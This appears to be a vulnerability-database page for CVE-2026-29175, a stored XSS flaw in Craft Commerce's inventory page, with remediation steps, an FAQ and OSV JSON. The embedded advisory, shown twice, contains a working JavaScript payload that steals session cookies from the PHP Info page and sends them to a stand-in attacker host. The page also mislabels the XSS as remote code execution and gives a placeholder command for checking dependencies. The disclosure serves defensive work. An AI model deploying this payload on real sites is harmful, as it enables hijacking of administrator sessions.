CVE-2026-29175: Craftcms/commerce Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-cfpv-rmpf-f624
CWE-79
Published
Advisory Summary

CVE-2026-29175 is a HIGH remote code execution vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Craftcms/commerce libraries in the Packagist ecosystem. The issue involves craft commerce has multiple stored xss in commerce inventory page, leading to session hijacking. Remediation is available by upgrading affected packages to version 5.5.3.

CVE-2026-29175 at a Glance

CVE Identifier CVE-2026-29175
GHSA Identifier GHSA-cfpv-rmpf-f624
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Craftcms/commerce
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-29175

To remediate this vulnerability, upgrade all affected Craftcms/commerce dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

craftcms/commerce fixed: 5.5.3
Upgrade craftcms/commerce to 5.5.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for craftcms/commerce

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-29175, inspect your project dependencies for Craftcms/commerce:

inspect dependencies for craftcms/commerce

Analyze the terminal output to locate any version of Craftcms/commerce in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.5.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Craftcms/commerce, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Stored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page. This vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required. ## Proof of Concept ### Permissions Required - Access the control panel - Access Craft Commerce - Create/Edit products ### Steps to Reproduce 1. Log in to the control panel 2. Navigate to **Commerce → Products** 3. Add a new product and set the **Title** field to: (replace `https://attacker.com`) ```html <img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})"> ``` 4. Save the product 5. Navigate to **Commerce → Inventory** (`/admin/commerce/inventory`) 6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server ### Cookie Extraction Details The PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multiple locations: - `HTTP_COOKIE` - `Cookie` (used in this PoC) - `$_SERVER['HTTP_COOKIE']` - `$_COOKIE['<cookie-name>']` ### Notes - The same vulnerability exists in **Variant Title** and **Variant SKU** fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields. - `$_COOKIE['CRAFT_CSRF_TOKEN']` is masked in PHP Info, but the unmasked value is available in the other parameters listed above. - This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session. ## Mitigation 1. Sanitize product and variant fields when rendering in the inventory template 2. Mask sensitive cookie values in the PHP Info utility page (similar to how `CRAFT_CSRF_TOKEN`, `CRAFT_SECURITY_KEY`, and `CRAFT_DB_PASSWORD` are already masked)

CVE-2026-29175 Affected Craftcms/commerce Versions

1 component(s)
Fixed Versions:
5.5.3
Product / Package Ecosystem Affected Versions Fixed Version
craftcms/commerce
Packagist
≥ 5.0.0
< 5.5.3
5.5.3

References

Frequently Asked Questions

What is CVE-2026-29175?
CVE-2026-29175 is a security vulnerability in Craftcms/commerce involving Craft Commerce has multiple Stored XSS in Commerce Inventory Page, Leading to Session Hijacking under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Craftcms/commerce versions are affected?
Affected versions include releases prior to 5.5.3 across affected packages: craftcms/commerce.
What version fixes CVE-2026-29175?
Upgrading to 5.5.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is craftcms/commerce affected?
Yes, craftcms/commerce is affected in releases prior to 5.5.3. Upgrade your dependency to 5.5.3 or later.
What CWE is associated with CVE-2026-29175?
CVE-2026-29175 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-29175?
Run the dependency tree command: 'inspect dependencies for craftcms/commerce'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cfpv-rmpf-f624",
  "modified" : "2026-03-10T22:55:20Z",
  "published" : "2026-03-10T18:23:42Z",
  "aliases" : [ "CVE-2026-29175" ],
  "summary" : "Craft Commerce has multiple Stored XSS in Commerce Inventory Page, Leading to Session Hijacking",
  "details" : "## Summary\n\nStored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.\n\nThis vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.\n\n## Proof of Concept\n\n### Permissions Required\n\n- Access the control panel\n- Access Craft Commerce\n- Create/Edit products\n\n### Steps to Reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce → Products**\n3. Add a new product and set the **Title** field to: (replace `https://attacker.com`)\n    ```html\n    <img src=x onerror=\"fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\\/th>\\s*<td[^>]*>([\\s\\S]*?)<\\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})\">\n    ```\n4. Save the product\n5. Navigate to **Commerce → Inventory** (`/admin/commerce/inventory`)\n6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server\n\n### Cookie Extraction Details\nThe PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multiple locations:\n- `HTTP_COOKIE`\n- `Cookie` (used in this PoC)\n- `$_SERVER['HTTP_COOKIE']`\n- `$_COOKIE['<cookie-name>']`\n\n### Notes\n- The same vulnerability exists in **Variant Title** and **Variant SKU** fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.\n- `$_COOKIE['CRAFT_CSRF_TOKEN']` is masked in PHP Info, but the unmasked value is available in the other parameters listed above.\n- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.\n\n## Mitigation\n1. Sanitize product and variant fields when rendering in the inventory template\n2. Mask sensitive cookie values in the PHP Info utility page (similar to how `CRAFT_CSRF_TOKEN`, `CRAFT_SECURITY_KEY`, and `CRAFT_DB_PASSWORD` are already masked)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/commerce"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.5.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.5.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/security/advisories/GHSA-cfpv-rmpf-f624"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29175"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/commit/9f0638a4fb29ed8295a463385a7cc49ec986e33a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/commerce"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-10T18:23:42Z",
    "nvd_published_at" : "2026-03-10T20:16:38Z"
  }
}